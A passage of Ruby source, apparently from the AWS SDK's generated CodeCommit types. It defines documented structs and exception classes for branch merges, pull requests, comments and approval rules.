# @!attribute [rw] destination_commit_specifier
# The branch, tag, HEAD, or other fully qualified reference used to
# identify a commit (for example, a branch name or a full commit ID).
# @return [String]
#
# @!attribute [rw] target_branch
# The branch where the merge is applied.
# @return [String]
#
# @!attribute [rw] conflict_detail_level
# The level of conflict detail to use. If unspecified, the default
# FILE\_LEVEL is used, which returns a not-mergeable result if the
# same file has differences in both branches. If LINE\_LEVEL is
# specified, a conflict is considered not mergeable if the same file
# in both branches has differences on the same line.
# @return [String]
#
# @!attribute [rw] conflict_resolution_strategy
# Specifies which branch to use when resolving conflicts, or whether
# to attempt automatically merging two versions of a file. The default
# is NONE, which requires any conflicts to be resolved manually before
# the merge operation is successful.
# @return [String]
#
# @!attribute [rw] author_name
# The name of the author who created the commit. This information is
# used as both the author and committer for the commit.
# @return [String]
#
# @!attribute [rw] email
# The email address of the person merging the branches. This
# information is used in the commit information for the merge.
# @return [String]
#
# @!attribute [rw] commit_message
# The commit message to include in the commit information for the
# merge.
# @return [String]
#
# @!attribute [rw] keep_empty_folders
# If the commit contains deletions, whether to keep a folder or folder
# structure if the changes leave the folders empty. If true, a
# .gitkeep file is created for empty folders. The default is false.
# @return [Boolean]
#
# @!attribute [rw] conflict_resolution
# If AUTOMERGE is the conflict resolution strategy, a list of inputs
# to use when resolving conflicts during a merge.
# @return [Types::ConflictResolution]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeBranchesByThreeWayInput AWS API Documentation
#
class MergeBranchesByThreeWayInput < Struct.new(
:repository_name,
:source_commit_specifier,
:destination_commit_specifier,
:target_branch,
:conflict_detail_level,
:conflict_resolution_strategy,
:author_name,
:email,
:commit_message,
:keep_empty_folders,
:conflict_resolution)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] commit_id
# The commit ID of the merge in the destination or target branch.
# @return [String]
#
# @!attribute [rw] tree_id
# The tree ID of the merge in the destination or target branch.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeBranchesByThreeWayOutput AWS API Documentation
#
class MergeBranchesByThreeWayOutput < Struct.new(
:commit_id,
:tree_id)
SENSITIVE = []
include Aws::Structure
end
# Information about merge hunks in a merge or pull request operation.
#
# @!attribute [rw] is_conflict
# A Boolean value indicating whether a combination of hunks contains a
# conflict. Conflicts occur when the same file or the same lines in a
# file were modified in both the source and destination of a merge or
# pull request. Valid values include true, false, and null. True when
# the hunk represents a conflict and one or more files contains a line
# conflict. File mode conflicts in a merge do not set this to true.
# @return [Boolean]
#
# @!attribute [rw] source
# Information about the merge hunk in the source of a merge or pull
# request.
# @return [Types::MergeHunkDetail]
#
# @!attribute [rw] destination
# Information about the merge hunk in the destination of a merge or
# pull request.
# @return [Types::MergeHunkDetail]
#
# @!attribute [rw] base
# Information about the merge hunk in the base of a merge or pull
# request.
# @return [Types::MergeHunkDetail]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeHunk AWS API Documentation
#
class MergeHunk < Struct.new(
:is_conflict,
:source,
:destination,
:base)
SENSITIVE = []
include Aws::Structure
end
# Information about the details of a merge hunk that contains a conflict
# in a merge or pull request operation.
#
# @!attribute [rw] start_line
# The start position of the hunk in the merge result.
# @return [Integer]
#
# @!attribute [rw] end_line
# The end position of the hunk in the merge result.
# @return [Integer]
#
# @!attribute [rw] hunk_content
# The base-64 encoded content of the hunk merged region that might
# contain a conflict.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeHunkDetail AWS API Documentation
#
class MergeHunkDetail < Struct.new(
:start_line,
:end_line,
:hunk_content)
SENSITIVE = []
include Aws::Structure
end
# Returns information about a merge or potential merge between a source
# reference and a destination reference in a pull request.
#
# @!attribute [rw] is_merged
# A Boolean value indicating whether the merge has been made.
# @return [Boolean]
#
# @!attribute [rw] merged_by
# The Amazon Resource Name (ARN) of the user who merged the branches.
# @return [String]
#
# @!attribute [rw] merge_commit_id
# The commit ID for the merge commit, if any.
# @return [String]
#
# @!attribute [rw] merge_option
# The merge strategy used in the merge.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeMetadata AWS API Documentation
#
class MergeMetadata < Struct.new(
:is_merged,
:merged_by,
:merge_commit_id,
:merge_option)
SENSITIVE = []
include Aws::Structure
end
# Information about the file operation conflicts in a merge operation.
#
# @!attribute [rw] source
# The operation (add, modify, or delete) on a file in the source of a
# merge or pull request.
# @return [String]
#
# @!attribute [rw] destination
# The operation on a file in the destination of a merge or pull
# request.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeOperations AWS API Documentation
#
class MergeOperations < Struct.new(
:source,
:destination)
SENSITIVE = []
include Aws::Structure
end
# A merge option or stategy is required, and none was provided.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergeOptionRequiredException AWS API Documentation
#
class MergeOptionRequiredException < Aws::EmptyStructure; end
# @note When making an API call, you may pass MergePullRequestByFastForwardInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# repository_name: "RepositoryName", # required
# source_commit_id: "ObjectId",
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request. To get this ID, use
# ListPullRequests.
# @return [String]
#
# @!attribute [rw] repository_name
# The name of the repository where the pull request was created.
# @return [String]
#
# @!attribute [rw] source_commit_id
# The full commit ID of the original or updated commit in the pull
# request source branch. Pass this value if you want an exception
# thrown if the current commit ID of the tip of the source branch does
# not match this commit ID.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergePullRequestByFastForwardInput AWS API Documentation
#
class MergePullRequestByFastForwardInput < Struct.new(
:pull_request_id,
:repository_name,
:source_commit_id)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] pull_request
# Information about the specified pull request, including the merge.
# @return [Types::PullRequest]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergePullRequestByFastForwardOutput AWS API Documentation
#
class MergePullRequestByFastForwardOutput < Struct.new(
:pull_request)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass MergePullRequestBySquashInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# repository_name: "RepositoryName", # required
# source_commit_id: "ObjectId",
# conflict_detail_level: "FILE_LEVEL", # accepts FILE_LEVEL, LINE_LEVEL
# conflict_resolution_strategy: "NONE", # accepts NONE, ACCEPT_SOURCE, ACCEPT_DESTINATION, AUTOMERGE
# commit_message: "Message",
# author_name: "Name",
# email: "Email",
# keep_empty_folders: false,
# conflict_resolution: {
# replace_contents: [
# {
# file_path: "Path", # required
# replacement_type: "KEEP_BASE", # required, accepts KEEP_BASE, KEEP_SOURCE, KEEP_DESTINATION, USE_NEW_CONTENT
# content: "data",
# file_mode: "EXECUTABLE", # accepts EXECUTABLE, NORMAL, SYMLINK
# },
# ],
# delete_files: [
# {
# file_path: "Path", # required
# },
# ],
# set_file_modes: [
# {
# file_path: "Path", # required
# file_mode: "EXECUTABLE", # required, accepts EXECUTABLE, NORMAL, SYMLINK
# },
# ],
# },
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request. To get this ID, use
# ListPullRequests.
# @return [String]
#
# @!attribute [rw] repository_name
# The name of the repository where the pull request was created.
# @return [String]
#
# @!attribute [rw] source_commit_id
# The full commit ID of the original or updated commit in the pull
# request source branch. Pass this value if you want an exception
# thrown if the current commit ID of the tip of the source branch does
# not match this commit ID.
# @return [String]
#
# @!attribute [rw] conflict_detail_level
# The level of conflict detail to use. If unspecified, the default
# FILE\_LEVEL is used, which returns a not-mergeable result if the
# same file has differences in both branches. If LINE\_LEVEL is
# specified, a conflict is considered not mergeable if the same file
# in both branches has differences on the same line.
# @return [String]
#
# @!attribute [rw] conflict_resolution_strategy
# Specifies which branch to use when resolving conflicts, or whether
# to attempt automatically merging two versions of a file. The default
# is NONE, which requires any conflicts to be resolved manually before
# the merge operation is successful.
# @return [String]
#
# @!attribute [rw] commit_message
# The commit message to include in the commit information for the
# merge.
# @return [String]
#
# @!attribute [rw] author_name
# The name of the author who created the commit. This information is
# used as both the author and committer for the commit.
# @return [String]
#
# @!attribute [rw] email
# The email address of the person merging the branches. This
# information is used in the commit information for the merge.
# @return [String]
#
# @!attribute [rw] keep_empty_folders
# If the commit contains deletions, whether to keep a folder or folder
# structure if the changes leave the folders empty. If true, a
# .gitkeep file is created for empty folders. The default is false.
# @return [Boolean]
#
# @!attribute [rw] conflict_resolution
# If AUTOMERGE is the conflict resolution strategy, a list of inputs
# to use when resolving conflicts during a merge.
# @return [Types::ConflictResolution]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergePullRequestBySquashInput AWS API Documentation
#
class MergePullRequestBySquashInput < Struct.new(
:pull_request_id,
:repository_name,
:source_commit_id,
:conflict_detail_level,
:conflict_resolution_strategy,
:commit_message,
:author_name,
:email,
:keep_empty_folders,
:conflict_resolution)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] pull_request
# Returns information about a pull request.
# @return [Types::PullRequest]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergePullRequestBySquashOutput AWS API Documentation
#
class MergePullRequestBySquashOutput < Struct.new(
:pull_request)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass MergePullRequestByThreeWayInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# repository_name: "RepositoryName", # required
# source_commit_id: "ObjectId",
# conflict_detail_level: "FILE_LEVEL", # accepts FILE_LEVEL, LINE_LEVEL
# conflict_resolution_strategy: "NONE", # accepts NONE, ACCEPT_SOURCE, ACCEPT_DESTINATION, AUTOMERGE
# commit_message: "Message",
# author_name: "Name",
# email: "Email",
# keep_empty_folders: false,
# conflict_resolution: {
# replace_contents: [
# {
# file_path: "Path", # required
# replacement_type: "KEEP_BASE", # required, accepts KEEP_BASE, KEEP_SOURCE, KEEP_DESTINATION, USE_NEW_CONTENT
# content: "data",
# file_mode: "EXECUTABLE", # accepts EXECUTABLE, NORMAL, SYMLINK
# },
# ],
# delete_files: [
# {
# file_path: "Path", # required
# },
# ],
# set_file_modes: [
# {
# file_path: "Path", # required
# file_mode: "EXECUTABLE", # required, accepts EXECUTABLE, NORMAL, SYMLINK
# },
# ],
# },
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request. To get this ID, use
# ListPullRequests.
# @return [String]
#
# @!attribute [rw] repository_name
# The name of the repository where the pull request was created.
# @return [String]
#
# @!attribute [rw] source_commit_id
# The full commit ID of the original or updated commit in the pull
# request source branch. Pass this value if you want an exception
# thrown if the current commit ID of the tip of the source branch does
# not match this commit ID.
# @return [String]
#
# @!attribute [rw] conflict_detail_level
# The level of conflict detail to use. If unspecified, the default
# FILE\_LEVEL is used, which returns a not-mergeable result if the
# same file has differences in both branches. If LINE\_LEVEL is
# specified, a conflict is considered not mergeable if the same file
# in both branches has differences on the same line.
# @return [String]
#
# @!attribute [rw] conflict_resolution_strategy
# Specifies which branch to use when resolving conflicts, or whether
# to attempt automatically merging two versions of a file. The default
# is NONE, which requires any conflicts to be resolved manually before
# the merge operation is successful.
# @return [String]
#
# @!attribute [rw] commit_message
# The commit message to include in the commit information for the
# merge.
# @return [String]
#
# @!attribute [rw] author_name
# The name of the author who created the commit. This information is
# used as both the author and committer for the commit.
# @return [String]
#
# @!attribute [rw] email
# The email address of the person merging the branches. This
# information is used in the commit information for the merge.
# @return [String]
#
# @!attribute [rw] keep_empty_folders
# If the commit contains deletions, whether to keep a folder or folder
# structure if the changes leave the folders empty. If true, a
# .gitkeep file is created for empty folders. The default is false.
# @return [Boolean]
#
# @!attribute [rw] conflict_resolution
# If AUTOMERGE is the conflict resolution strategy, a list of inputs
# to use when resolving conflicts during a merge.
# @return [Types::ConflictResolution]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergePullRequestByThreeWayInput AWS API Documentation
#
class MergePullRequestByThreeWayInput < Struct.new(
:pull_request_id,
:repository_name,
:source_commit_id,
:conflict_detail_level,
:conflict_resolution_strategy,
:commit_message,
:author_name,
:email,
:keep_empty_folders,
:conflict_resolution)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] pull_request
# Returns information about a pull request.
# @return [Types::PullRequest]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MergePullRequestByThreeWayOutput AWS API Documentation
#
class MergePullRequestByThreeWayOutput < Struct.new(
:pull_request)
SENSITIVE = []
include Aws::Structure
end
# More than one conflict resolution entries exists for the conflict. A
# conflict can have only one conflict resolution entry.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MultipleConflictResolutionEntriesException AWS API Documentation
#
class MultipleConflictResolutionEntriesException < Aws::EmptyStructure; end
# You cannot include more than one repository in a pull request. Make
# sure you have specified only one repository name in your request, and
# then try again.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/MultipleRepositoriesInPullRequestException AWS API Documentation
#
class MultipleRepositoriesInPullRequestException < Aws::EmptyStructure; end
# The user name is not valid because it has exceeded the character limit
# for author names.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/NameLengthExceededException AWS API Documentation
#
class NameLengthExceededException < Aws::EmptyStructure; end
# The commit cannot be created because no changes will be made to the
# repository as a result of this commit. A commit must contain at least
# one change.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/NoChangeException AWS API Documentation
#
class NoChangeException < Aws::EmptyStructure; end
# The maximum number of approval rule templates has been exceeded for
# this AWS Region.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/NumberOfRuleTemplatesExceededException AWS API Documentation
#
class NumberOfRuleTemplatesExceededException < Aws::EmptyStructure; end
# The approval rule cannot be added. The pull request has the maximum
# number of approval rules associated with it.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/NumberOfRulesExceededException AWS API Documentation
#
class NumberOfRulesExceededException < Aws::EmptyStructure; end
# Information about the type of an object in a merge operation.
#
# @!attribute [rw] source
# The type of the object in the source branch.
# @return [String]
#
# @!attribute [rw] destination
# The type of the object in the destination branch.
# @return [String]
#
# @!attribute [rw] base
# The type of the object in the base commit of the merge.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ObjectTypes AWS API Documentation
#
class ObjectTypes < Struct.new(
:source,
:destination,
:base)
SENSITIVE = []
include Aws::Structure
end
# Returns information about the template that created the approval rule
# for a pull request.
#
# @!attribute [rw] approval_rule_template_id
# The ID of the template that created the approval rule.
# @return [String]
#
# @!attribute [rw] approval_rule_template_name
# The name of the template that created the approval rule.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/OriginApprovalRuleTemplate AWS API Documentation
#
class OriginApprovalRuleTemplate < Struct.new(
:approval_rule_template_id,
:approval_rule_template_name)
SENSITIVE = []
include Aws::Structure
end
# The pull request has already had its approval rules set to override.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/OverrideAlreadySetException AWS API Documentation
#
class OverrideAlreadySetException < Aws::EmptyStructure; end
# @note When making an API call, you may pass OverridePullRequestApprovalRulesInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# revision_id: "RevisionId", # required
# override_status: "OVERRIDE", # required, accepts OVERRIDE, REVOKE
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request for which you want to
# override all approval rule requirements. To get this information,
# use GetPullRequest.
# @return [String]
#
# @!attribute [rw] revision_id
# The system-generated ID of the most recent revision of the pull
# request. You cannot override approval rules for anything but the
# most recent revision of a pull request. To get the revision ID, use
# GetPullRequest.
# @return [String]
#
# @!attribute [rw] override_status
# Whether you want to set aside approval rule requirements for the
# pull request (OVERRIDE) or revoke a previous override and apply
# approval rule requirements (REVOKE). REVOKE status is not stored.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/OverridePullRequestApprovalRulesInput AWS API Documentation
#
class OverridePullRequestApprovalRulesInput < Struct.new(
:pull_request_id,
:revision_id,
:override_status)
SENSITIVE = []
include Aws::Structure
end
# An override status is required, but no value was provided. Valid
# values include OVERRIDE and REVOKE.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/OverrideStatusRequiredException AWS API Documentation
#
class OverrideStatusRequiredException < Aws::EmptyStructure; end
# The parent commit ID is not valid because it does not exist. The
# specified parent commit ID does not exist in the specified branch of
# the repository.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ParentCommitDoesNotExistException AWS API Documentation
#
class ParentCommitDoesNotExistException < Aws::EmptyStructure; end
# The file could not be added because the provided parent commit ID is
# not the current tip of the specified branch. To view the full commit
# ID of the current head of the branch, use GetBranch.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ParentCommitIdOutdatedException AWS API Documentation
#
class ParentCommitIdOutdatedException < Aws::EmptyStructure; end
# A parent commit ID is required. To view the full commit ID of a branch
# in a repository, use GetBranch or a Git command (for example, git pull
# or git log).
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/ParentCommitIdRequiredException AWS API Documentation
#
class ParentCommitIdRequiredException < Aws::EmptyStructure; end
# The specified path does not exist.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PathDoesNotExistException AWS API Documentation
#
class PathDoesNotExistException < Aws::EmptyStructure; end
# The folderPath for a location cannot be null.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PathRequiredException AWS API Documentation
#
class PathRequiredException < Aws::EmptyStructure; end
# @note When making an API call, you may pass PostCommentForComparedCommitInput
# data as a hash:
#
# {
# repository_name: "RepositoryName", # required
# before_commit_id: "CommitId",
# after_commit_id: "CommitId", # required
# location: {
# file_path: "Path",
# file_position: 1,
# relative_file_version: "BEFORE", # accepts BEFORE, AFTER
# },
# content: "Content", # required
# client_request_token: "ClientRequestToken",
# }
#
# @!attribute [rw] repository_name
# The name of the repository where you want to post a comment on the
# comparison between commits.
# @return [String]
#
# @!attribute [rw] before_commit_id
# To establish the directionality of the comparison, the full commit
# ID of the before commit. Required for commenting on any commit
# unless that commit is the initial commit.
# @return [String]
#
# @!attribute [rw] after_commit_id
# To establish the directionality of the comparison, the full commit
# ID of the after commit.
# @return [String]
#
# @!attribute [rw] location
# The location of the comparison where you want to comment.
# @return [Types::Location]
#
# @!attribute [rw] content
# The content of the comment you want to make.
# @return [String]
#
# @!attribute [rw] client_request_token
# A unique, client-generated idempotency token that, when provided in
# a request, ensures the request cannot be repeated with a changed
# parameter. If a request is received with the same parameters and a
# token is included, the request returns information about the initial
# request that used that token.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PostCommentForComparedCommitInput AWS API Documentation
#
class PostCommentForComparedCommitInput < Struct.new(
:repository_name,
:before_commit_id,
:after_commit_id,
:location,
:content,
:client_request_token)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] repository_name
# The name of the repository where you posted a comment on the
# comparison between commits.
# @return [String]
#
# @!attribute [rw] before_commit_id
# In the directionality you established, the full commit ID of the
# before commit.
# @return [String]
#
# @!attribute [rw] after_commit_id
# In the directionality you established, the full commit ID of the
# after commit.
# @return [String]
#
# @!attribute [rw] before_blob_id
# In the directionality you established, the blob ID of the before
# blob.
# @return [String]
#
# @!attribute [rw] after_blob_id
# In the directionality you established, the blob ID of the after
# blob.
# @return [String]
#
# @!attribute [rw] location
# The location of the comment in the comparison between the two
# commits.
# @return [Types::Location]
#
# @!attribute [rw] comment
# The content of the comment you posted.
# @return [Types::Comment]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PostCommentForComparedCommitOutput AWS API Documentation
#
class PostCommentForComparedCommitOutput < Struct.new(
:repository_name,
:before_commit_id,
:after_commit_id,
:before_blob_id,
:after_blob_id,
:location,
:comment)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass PostCommentForPullRequestInput
# data as a hash:
#
# {
# pull_request_id: "PullRequestId", # required
# repository_name: "RepositoryName", # required
# before_commit_id: "CommitId", # required
# after_commit_id: "CommitId", # required
# location: {
# file_path: "Path",
# file_position: 1,
# relative_file_version: "BEFORE", # accepts BEFORE, AFTER
# },
# content: "Content", # required
# client_request_token: "ClientRequestToken",
# }
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request. To get this ID, use
# ListPullRequests.
# @return [String]
#
# @!attribute [rw] repository_name
# The name of the repository where you want to post a comment on a
# pull request.
# @return [String]
#
# @!attribute [rw] before_commit_id
# The full commit ID of the commit in the destination branch that was
# the tip of the branch at the time the pull request was created.
# @return [String]
#
# @!attribute [rw] after_commit_id
# The full commit ID of the commit in the source branch that is the
# current tip of the branch for the pull request when you post the
# comment.
# @return [String]
#
# @!attribute [rw] location
# The location of the change where you want to post your comment. If
# no location is provided, the comment is posted as a general comment
# on the pull request difference between the before commit ID and the
# after commit ID.
# @return [Types::Location]
#
# @!attribute [rw] content
# The content of your comment on the change.
# @return [String]
#
# @!attribute [rw] client_request_token
# A unique, client-generated idempotency token that, when provided in
# a request, ensures the request cannot be repeated with a changed
# parameter. If a request is received with the same parameters and a
# token is included, the request returns information about the initial
# request that used that token.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PostCommentForPullRequestInput AWS API Documentation
#
class PostCommentForPullRequestInput < Struct.new(
:pull_request_id,
:repository_name,
:before_commit_id,
:after_commit_id,
:location,
:content,
:client_request_token)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] repository_name
# The name of the repository where you posted a comment on a pull
# request.
# @return [String]
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request.
# @return [String]
#
# @!attribute [rw] before_commit_id
# The full commit ID of the commit in the source branch used to create
# the pull request, or in the case of an updated pull request, the
# full commit ID of the commit used to update the pull request.
# @return [String]
#
# @!attribute [rw] after_commit_id
# The full commit ID of the commit in the destination branch where the
# pull request is merged.
# @return [String]
#
# @!attribute [rw] before_blob_id
# In the directionality of the pull request, the blob ID of the before
# blob.
# @return [String]
#
# @!attribute [rw] after_blob_id
# In the directionality of the pull request, the blob ID of the after
# blob.
# @return [String]
#
# @!attribute [rw] location
# The location of the change where you posted your comment.
# @return [Types::Location]
#
# @!attribute [rw] comment
# The content of the comment you posted.
# @return [Types::Comment]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PostCommentForPullRequestOutput AWS API Documentation
#
class PostCommentForPullRequestOutput < Struct.new(
:repository_name,
:pull_request_id,
:before_commit_id,
:after_commit_id,
:before_blob_id,
:after_blob_id,
:location,
:comment)
SENSITIVE = []
include Aws::Structure
end
# @note When making an API call, you may pass PostCommentReplyInput
# data as a hash:
#
# {
# in_reply_to: "CommentId", # required
# client_request_token: "ClientRequestToken",
# content: "Content", # required
# }
#
# @!attribute [rw] in_reply_to
# The system-generated ID of the comment to which you want to reply.
# To get this ID, use GetCommentsForComparedCommit or
# GetCommentsForPullRequest.
# @return [String]
#
# @!attribute [rw] client_request_token
# A unique, client-generated idempotency token that, when provided in
# a request, ensures the request cannot be repeated with a changed
# parameter. If a request is received with the same parameters and a
# token is included, the request returns information about the initial
# request that used that token.
#
# **A suitable default value is auto-generated.** You should normally
# not need to pass this option.
# @return [String]
#
# @!attribute [rw] content
# The contents of your reply to a comment.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PostCommentReplyInput AWS API Documentation
#
class PostCommentReplyInput < Struct.new(
:in_reply_to,
:client_request_token,
:content)
SENSITIVE = []
include Aws::Structure
end
# @!attribute [rw] comment
# Information about the reply to a comment.
# @return [Types::Comment]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PostCommentReplyOutput AWS API Documentation
#
class PostCommentReplyOutput < Struct.new(
:comment)
SENSITIVE = []
include Aws::Structure
end
# Returns information about a pull request.
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request.
# @return [String]
#
# @!attribute [rw] title
# The user-defined title of the pull request. This title is displayed
# in the list of pull requests to other repository users.
# @return [String]
#
# @!attribute [rw] description
# The user-defined description of the pull request. This description
# can be used to clarify what should be reviewed and other details of
# the request.
# @return [String]
#
# @!attribute [rw] last_activity_date
# The day and time of the last user or system activity on the pull
# request, in timestamp format.
# @return [Time]
#
# @!attribute [rw] creation_date
# The date and time the pull request was originally created, in
# timestamp format.
# @return [Time]
#
# @!attribute [rw] pull_request_status
# The status of the pull request. Pull request status can only change
# from `OPEN` to `CLOSED`.
# @return [String]
#
# @!attribute [rw] author_arn
# The Amazon Resource Name (ARN) of the user who created the pull
# request.
# @return [String]
#
# @!attribute [rw] pull_request_targets
# The targets of the pull request, including the source branch and
# destination branch for the pull request.
# @return [Array<Types::PullRequestTarget>]
#
# @!attribute [rw] client_request_token
# A unique, client-generated idempotency token that, when provided in
# a request, ensures the request cannot be repeated with a changed
# parameter. If a request is received with the same parameters and a
# token is included, the request returns information about the initial
# request that used that token.
# @return [String]
#
# @!attribute [rw] revision_id
# The system-generated revision ID for the pull request.
# @return [String]
#
# @!attribute [rw] approval_rules
# The approval rules applied to the pull request.
# @return [Array<Types::ApprovalRule>]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequest AWS API Documentation
#
class PullRequest < Struct.new(
:pull_request_id,
:title,
:description,
:last_activity_date,
:creation_date,
:pull_request_status,
:author_arn,
:pull_request_targets,
:client_request_token,
:revision_id,
:approval_rules)
SENSITIVE = []
include Aws::Structure
end
# The pull request status cannot be updated because it is already
# closed.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequestAlreadyClosedException AWS API Documentation
#
class PullRequestAlreadyClosedException < Aws::EmptyStructure; end
# The pull request cannot be merged because one or more approval rules
# applied to the pull request have conditions that have not been met.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequestApprovalRulesNotSatisfiedException AWS API Documentation
#
class PullRequestApprovalRulesNotSatisfiedException < Aws::EmptyStructure; end
# The approval cannot be applied because the user approving the pull
# request matches the user who created the pull request. You cannot
# approve a pull request that you created.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequestCannotBeApprovedByAuthorException AWS API Documentation
#
class PullRequestCannotBeApprovedByAuthorException < Aws::EmptyStructure; end
# Metadata about the pull request that is used when comparing the pull
# request source with its destination.
#
# @!attribute [rw] repository_name
# The name of the repository where the pull request was created.
# @return [String]
#
# @!attribute [rw] source_commit_id
# The commit ID on the source branch used when the pull request was
# created.
# @return [String]
#
# @!attribute [rw] destination_commit_id
# The commit ID of the tip of the branch specified as the destination
# branch when the pull request was created.
# @return [String]
#
# @!attribute [rw] merge_base
# The commit ID of the most recent commit that the source branch and
# the destination branch have in common.
# @return [String]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequestCreatedEventMetadata AWS API Documentation
#
class PullRequestCreatedEventMetadata < Struct.new(
:repository_name,
:source_commit_id,
:destination_commit_id,
:merge_base)
SENSITIVE = []
include Aws::Structure
end
# The pull request ID could not be found. Make sure that you have
# specified the correct repository name and pull request ID, and then
# try again.
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequestDoesNotExistException AWS API Documentation
#
class PullRequestDoesNotExistException < Aws::EmptyStructure; end
# Returns information about a pull request event.
#
# @!attribute [rw] pull_request_id
# The system-generated ID of the pull request.
# @return [String]
#
# @!attribute [rw] event_date
# The day and time of the pull request event, in timestamp format.
# @return [Time]
#
# @!attribute [rw] pull_request_event_type
# The type of the pull request event (for example, a status change
# event (PULL\_REQUEST\_STATUS\_CHANGED) or update event
# (PULL\_REQUEST\_SOURCE\_REFERENCE\_UPDATED)).
# @return [String]
#
# @!attribute [rw] actor_arn
# The Amazon Resource Name (ARN) of the user whose actions resulted in
# the event. Examples include updating the pull request with more
# commits or changing the status of a pull request.
# @return [String]
#
# @!attribute [rw] pull_request_created_event_metadata
# Information about the source and destination branches for the pull
# request.
# @return [Types::PullRequestCreatedEventMetadata]
#
# @!attribute [rw] pull_request_status_changed_event_metadata
# Information about the change in status for the pull request event.
# @return [Types::PullRequestStatusChangedEventMetadata]
#
# @!attribute [rw] pull_request_source_reference_updated_event_metadata
# Information about the updated source branch for the pull request
# event.
# @return [Types::PullRequestSourceReferenceUpdatedEventMetadata]
#
# @!attribute [rw] pull_request_merged_state_changed_event_metadata
# Information about the change in mergability state for the pull
# request event.
# @return [Types::PullRequestMergedStateChangedEventMetadata]
#
# @!attribute [rw] approval_rule_event_metadata
# Information about a pull request event.
# @return [Types::ApprovalRuleEventMetadata]
#
# @!attribute [rw] approval_state_changed_event_metadata
# Information about an approval state change for a pull request.
# @return [Types::ApprovalStateChangedEventMetadata]
#
# @!attribute [rw] approval_rule_overridden_event_metadata
# Information about an approval rule override event for a pull
# request.
# @return [Types::ApprovalRuleOverriddenEventMetadata]
#
# @see http://docs.aws.amazon.com/goto/WebAPI/codecommit-2015-04-13/PullRequestEvent AWS API Documentation
#
class PullRequestEvent < Struct.new(
:pull_request_id,
:event_date,
:pull_request_event_type,
:actor_arn,
